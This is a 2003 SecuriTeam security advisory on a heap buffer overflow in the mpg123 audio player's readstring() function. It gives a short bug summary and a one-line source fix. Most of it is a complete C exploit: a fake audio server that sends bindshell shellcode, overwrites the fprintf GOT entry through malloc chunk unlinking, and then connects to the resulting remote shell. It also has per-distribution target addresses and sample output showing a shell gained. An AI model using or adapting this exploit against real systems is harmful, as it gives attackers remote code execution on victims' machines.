[UNIX] Mpg123 Remote Client-Side Heap Corruption (Exploit, readstring())
From: SecuriTeam (support_at_securiteam.com)
Date: 09/24/03
- Previous message: SecuriTeam: "[NEWS] ColdFusion Cross-Site Scripting Security Vulnerability (Default Error Page)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 24 Sep 2003 11:40:13 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Mpg123 Remote Client-Side Heap Corruption (Exploit, readstring())
------------------------------------------------------------------------
SUMMARY
<http://www.mpg123.de/> Mpg123 contains a remotely exploitable heap based
buffer overflow. The overflow occurs when the function readstring(),
defined in httpget.c, does not properly limit the amount of data written
to a buffer.
The vulnerable function is used when reading strings from remote hosts,
such as http audio streaming services. The function is only used in
conjunction with writing to the request buffer, which is malloc'd into
1024 bytes.
This function will continue reading into the *request buffer, byte by
byte, until a '\n' is read. The function has a "maximum value to write"
argument passed to it, i.e. readstring(char *string, int maxlen, FILE *f),
but does not use it at all (except for the old, commented out, unused
code).
The exploit attached below takes advantage of the vulnerability by using
the unlink() malloc chunk manipulation method. This will require exact
addresses for use with the exploit.
DETAILS
Vulnerable systems:
* Mpg123 version 0.59r and pre0.59s(current)
Exploit:
/*[ mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit. ]*
* *
* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
* http://fakehalo.deadpig.org/xmpg123.c *
* Url: *
* http://www.mpg123.de *
* *
* *
* Usage: *
* # cc xmpg123.c -o xmpg123 *
* # ./xmpg123 [-sgr+tl] -p port *
* *
* Exploit workings: *
* client connects: *
* /usr/bin/mpg123 http://www.host-running-xmpg123.com:port *
* www.host-running-xmpg123.com sends: *
* <64 byte filler><shellcode>...<* filler>|<16 byte malloc chunk> *
* Where '|' is the 1024 byte boundary, followed by the 4*4=16 *
* byte fake malloc chunk. *
* *
* The bug itself(mpg123/httpget.c): *
* void readstring (char *string, int maxlen, FILE *f) *
* { *
* #if 0 *
* char *result; *
* #endif *
* int pos = 0; *
* *
* while(1) { *
* if( read(fileno(f),string+pos,1) == 1) { *
* pos++; *
* if(string[pos-1] == '\n') { *
* string[pos] = 0; *
* break; *
* } *
* } *
* else if(errno != EINTR) { *
* fprintf (stderr, "Error reading from socke$ *
* exit(1); *
* } *
* } *
* #if 0 *
* do { *
* result = fgets(string, maxlen, f); *
* } while (!result && errno == EINTR); *
* if (!result) { *
* fprintf (stderr, "Error reading from socket or une$ *
* } *
* #endif *
* *
* } *
* *
* Source quick fix: *
* -while(1) { *
* +while(maxlen>pos) { *
* *
* Example(test on localhost): *
* (exploit daemon) *
* # ./xmpg123 -t 2 -p 80 *
* [*] mpg123[v0.59r,v0.59s]: remote client-side heap corruption exp$ *
* [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
* *
* [*] platform value base : redhat 7.1, factory binary. *
* [*] fprintf GOT address : 0x08067170. *
* [*] *request address location : 0x0807ddb0. *
* [*] *request offset(+?*4) : 16(=64), ret=0x0807ddf0. *
* *
* [*] awaiting connection from: *:80. *
* [*] audio server connection established. (127.0.0.1) *
* [*] waiting for request information, to verify the client. *
* [*] client is running an exploitable version, continuing. *
* [*] sending the string to exploit the overflow condition. *
* [*] closed audio server connection. *
* [*] checking to see if the exploit was successful. *
* [*] attempting to connect: 127.0.0.1:7979. *
* [*] successfully connected: 127.0.0.1:7979. *
* *
* Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$ *
* uid=500(v9) gid=500(v9) groups=500(v9) *
* *
* (mpg123 client) *
* # mpg123 http://localhost *
* High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and$ *
* Version 0.59r (1999/Jun/15). Written and copyrights by Michael *
* Uses code from various people. See 'README' for more! *
* THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN $ *
* (hangs until the bindshell is closed, if successful) *
* *
* Note: *
* I provided several example target values, however if you are not *
* one of those targets, guessing will not work; you will need the *
* exact values for the fprintf GOT address, *request address, and the *
* exact offset to the shellcode. (0x663c0beb = start of code; what *
* you want to look for in gdb for an offset from *request) *
* *
* (still squished, un-spaced, and un-tabbed; as it should be) *
************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* (generic value used in the definition, use to the -g argument) */
/* this value is going to be the fprintf GOT(global offset table) */
/* address, to find this value run: */
/* # objdump -R /usr/bin/mpg123 | grep fprintf | grep -v "vf" */
/* 08012345 R_386_JUMP_SLOT fprintf */
#define GOT_ADDR 0x08012345
/* (generic value used in the definition, use to the -r argument) */
/* this value is going to be the pointer of the *request buffer. */
/* this value can be found by running: */
/* # ltrace /usr/bin/mpg123 -t http://null 2>&1|grep 1024|head -1 */
/* malloc(1024) = 0x08054321 */
/* the location of the shellcode will be 64(16) or more bytes off */
/* depending on the situation. the exact address of the shellcode */
/* you'll have to find it on your own(use gdb), if you don't know */
/* how a good guess is 16(64). the offset formula is: */
/* (REQUEST_ADDR+(offset*4)) */
#define REQUEST_ADDR 0x08054321
/* generic port for the bindshell to listen on. */
#define DFL_SPORT 7979
/* generic timeout for connections, before giving up. */
#define TIMEOUT 10
/* normally this would jmp 10(0x0a). but, that is the CR/enter */
/* value; so it is going to jmp 11(0x0b) instead, simply to avoid */
/* using that character. the bindshell portion of the shellcode */
/* was written by netric(group). also added exit() to look less */
/* obvious. (to avoid segmentation faults/illegal instructions) */
static char x86_exec[]=
"\xeb\x0b\x3c\x66\x61\x6b\x65\x68\x61\x6c\x6f\x3f\x3e\x31\xc0\x50"
"\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66"
"\x68\x00\x00\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66"
"\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c"
"\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80"
"\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
/* platform dealios. (stored and tested values) */
struct platform {
/* name of the platform. */
char *p_name;
/* fprintf GOT(global offset table) address. */
unsigned int p_gotaddr;
/* *request address location. */
unsigned int p_requestaddr;
/* offset*4 from(+) *request, where the shellcode is. */
unsigned int p_retoffset;
};
struct platform target[]={
{"mandrake 9.1, factory binary",0x0806fac8,0x08086678,26},
{"mandrake 9.0, factory binary",0x0806d5a8,0x08084130,26},
{"redhat 7.1, factory binary",0x08067170,0x0807ddb0,16},
{"redhat 7.1, src(pre0.59s) install",0x0806ef78,0x08086b10,18},
{"gentoo 1.4, src pkg install",0x08072714,0x08092bf8,16},
{"debian ?.? (unstable), pkg install",0x0806eed8,0x08085a90,16},
{"crash test, (if crashes it's exploitable)",0xdeadbeef,0xdeadbeef,0},
{NULL,0,0,0}
};
/* function definitions. */
char *getbuf(void);
char *audioserver_bind(void);
void getshell(char *);
void printe(char *,short);
void platform_list(void);
void usage(char *);
void sig_alarm(){printe("alarm/timeout hit.",1);}
/* global values used throughout. */
unsigned short port=0;
unsigned short sport=DFL_SPORT;
unsigned int gotaddr=GOT_ADDR;
unsigned int requestaddr=REQUEST_ADDR;
unsigned int retoffset=0;
/* start of operations. */
int main(int argc,char **argv){
unsigned int i=0;
int chr=0;
char *hostptr, *nameptr="none";
printf("[*] mpg123[v0.59r,v0.59s]: remote client-side heap corruption"
" exploit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realh"
"alo)\n\n");
while((chr=getopt(argc,argv,"p:s:g:r:+:t:l"))!=EOF){
switch(chr){
case 'p':
port=atoi(optarg);
break;
case 's':
sport=atoi(optarg);
break;
case 'g':
sscanf(optarg,"%x",&gotaddr);
break;
case 'r':
sscanf(optarg,"%x",&requestaddr);
break;
case '+':
retoffset=(atoi(optarg)*4);
break;
case 't':
i=0;
while(target[i].p_name)i++;
if(atoi(optarg)>=i)
printf("[!] %u is not a valid target, ignored.\n",atoi(optarg));
else{
nameptr=target[atoi(optarg)].p_name;
gotaddr=target[atoi(optarg)].p_gotaddr;
requestaddr=target[atoi(optarg)].p_requestaddr;
retoffset=(target[atoi(optarg)].p_retoffset*4);
}
break;
case 'l':
platform_list();
break;
default:
usage(argv[0]);
break;
}
}
if(!port)usage(argv[0]);
/* verbose display. */
printf("[*] platform value base\t\t: %s.\n",nameptr);
printf("[*] fprintf GOT address\t\t: 0x%.8x.\n",gotaddr);
printf("[*] *request address location\t: 0x%.8x.\n",requestaddr);
printf("[*] *request offset(+?*4)\t: %u(=%u), ret=0x%.8x.\n\n",
(retoffset/4),retoffset,(requestaddr+retoffset));
/* set the bindshell port in the shellcode(byte 33/34). */
x86_exec[33]=(sport&0xff00)>>8;
x86_exec[34]=(sport&0x00ff);
/* audioserver_bind() returns the host that connected to it. */
hostptr=audioserver_bind();
/* check the host for success, see if the bindshell is listening. */
getshell(hostptr);
printf("[!] exploit failed.\n");
exit(0);
}
/* makes the exploit buffer, an all-in-one function. */
char *getbuf(void){
char *buf;
/* buf=1024 + chunk structure=16 + "\n\n"=2. */
if(!(buf=(char *)malloc(1024+16+2+1)))
printe("getbuf(): allocating memory failed.",1);
memset(buf,0x78,1024);
/* data in the beginning of the buffer gets truncated by the */
/* second \n, adding a static filler value before the shellcode. */
memcpy(buf+64,x86_exec,strlen(x86_exec));
/* --now exceeding buffer limits, overwriting internal values-- */
*(long *)&buf[1024]=0xfffffffc;
*(long *)&buf[1028]=0xffffffff;
*(long *)&buf[1032]=(gotaddr-12);
*(long *)&buf[1036]=(requestaddr+retoffset);
buf[1040]=0x0a;
/* the second '\n' triggers it, also causes *request truncation. */
buf[1041]=0x0a;
return(buf);
}
/* the "audio server" fake daemon, what mpg123 connects to. */
char *audioserver_bind(void){
unsigned int salen=0;
int ssock=0,sock=0,so=1;
char *buf;
struct sockaddr_in ssa,sa;
if(!(buf=(char *)malloc(1024+1)))
printe("audioserver_bind(): allocating memory failed.",1);
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
/* not everywheres, maybe pretty close by now though. */
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe("could not bind socket.",1);
while(ssock){
printf("[*] awaiting connection from: *:%d.\n",port);
listen(ssock,1);
bzero((char*)&sa,sizeof(struct sockaddr_in));
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
printf("[*] audio server connection established. (%s)\n",
inet_ntoa(sa.sin_addr));
/* to verify the agent, ie. "User-Agent: mpg123/0.59r\n". */
printf("[*] waiting for request information, to verify the client.\n");
read(sock,buf,1024);
if(strstr(buf,"mpg123/0.59r")||strstr(buf,"mpg123/0.59s")){
printf("[*] client is running an exploitable version, continuing.\n");
/* got the client we want, close the server socket. */
close(ssock);
ssock=0;
}
else{
printf("[!] client is not running an exploitable version, skipped.\n");
close(sock);
}
}
/* send the pre-packaged all-in-one exploit string. */
printf("[*] sending the string to exploit the overflow condition.\n");
write(sock,getbuf(),strlen(getbuf()));
/* sleeps always make me feel safer for some reason. */
sleep(1);
close(sock);
printf("[*] closed audio server connection.\n");
free(buf);
/* return the host that connected to us. */
return(inet_ntoa(sa.sin_addr));
}
/* client to connect to the bindshell, and allow interactive cmds. */
void getshell(char *hostname){
int sock,r;
char *buf;
fd_set fds;
struct hostent *he;
struct sockaddr_in sa;
if(!(buf=(char *)malloc(4096+1)))
printe("getshell(): allocating memory failed.",1);
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(sport);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,sport);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,sport);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,sport);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
/* prints error messages and/or exits afterwords. */
void printe(char *err,short e){
printf("[!] error: %s\n",err);
if(e)exit(1);
return;
}
/* like it looks; lists the platforms in a loop. */
void platform_list(void){
unsigned int i=0;
for(i=0;target[i].p_name;i++)
printf("[*] %u\t: %s.\n",i,target[i].p_name);
printf("\n");
exit(0);
}
/* verbose program syntax. */
void usage(char *name){
printf(" usage: %s [options] -p port\n\n options:\n"
" -p <number>\tdefines the server port.\t\t(REQUIRED, usually 80)\n"
" -s <number>\tdefines the bindshell port.\t\t(%u)\n"
" -g <string>\tdefines GOT address.\t\t\t(0x%.8x)\n"
" -r <string>\tdefines *request address.\t\t(0x%.8x)\n"
" -+ <number>\tadds number*4 to the return address.\t(0x%.8x+(?*4))\n"
" -t <number>\timports a target table to use as values.\n"
" -l\t\twill list the target values available.\n\n"
" to find the -g argument type:\n"
" # objdump -R /usr/bin/mpg123 | grep fprintf | grep -v \"vf\"\n"
" 08012345 R_386_JUMP_SLOT fprintf\n\n"
" to find the -r argument type:\n"
" # ltrace /usr/bin/mpg123 -t http://null 2>&1|grep 1024|head -1\n"
" malloc(1024) = 0x08054321\n\n"
" (offset to shellcode from *request(-r) must be found manually)\n\n",
name,sport,gotaddr,requestaddr,requestaddr);
exit(0);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:v9@fakehalo.deadpig.org>
vade79/v9.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] ColdFusion Cross-Site Scripting Security Vulnerability (Default Error Page)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [NEWS] DataRescue Interactive Disassembler Pro Buffer Overflow Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Exploitation of a buffer overflow
vulnerability in DataRescue Inc.'s ... Interactive Disassembler Pro (IDA Pro) allows
attackers to execute ... The import directory lists all the ... (Securiteam) - [NT] Microsoft Help Workshop CNT Contents Files Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Microsoft Help Workshop
is standard component of Microsoft Visual Studio ... first launch it associates the .cnt files
with itself), ... unsigned int getStarInf; ... (Securiteam) - [UNIX] Apache mod_negotiation XSS and Http Response Splitting
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Apache mod_negotiation XSS and
Http Response Splitting ... * A type map which explicitly lists ... sanitized,
in the response header, it could result in a Http Response ... (Securiteam) - [NT] McAfee FreeScan ActiveX Buffer Overflow and Information Disclosure
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... award-winning McAfee VirusScan
engine, FreeScan searches for viruses, ... The code below lists about 25 different
parameters which the ... '&H0017=all users/start menu/programs ... (Securiteam) - [TOOL] Travesty - Network Hardware Addresses Manager
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... It also allows the user to import
their own lists of hardware addresses ... and descriptions that can be navigated from within
the Travesty interface. ... system that is currently down on a DHCP network. ...
(Securiteam)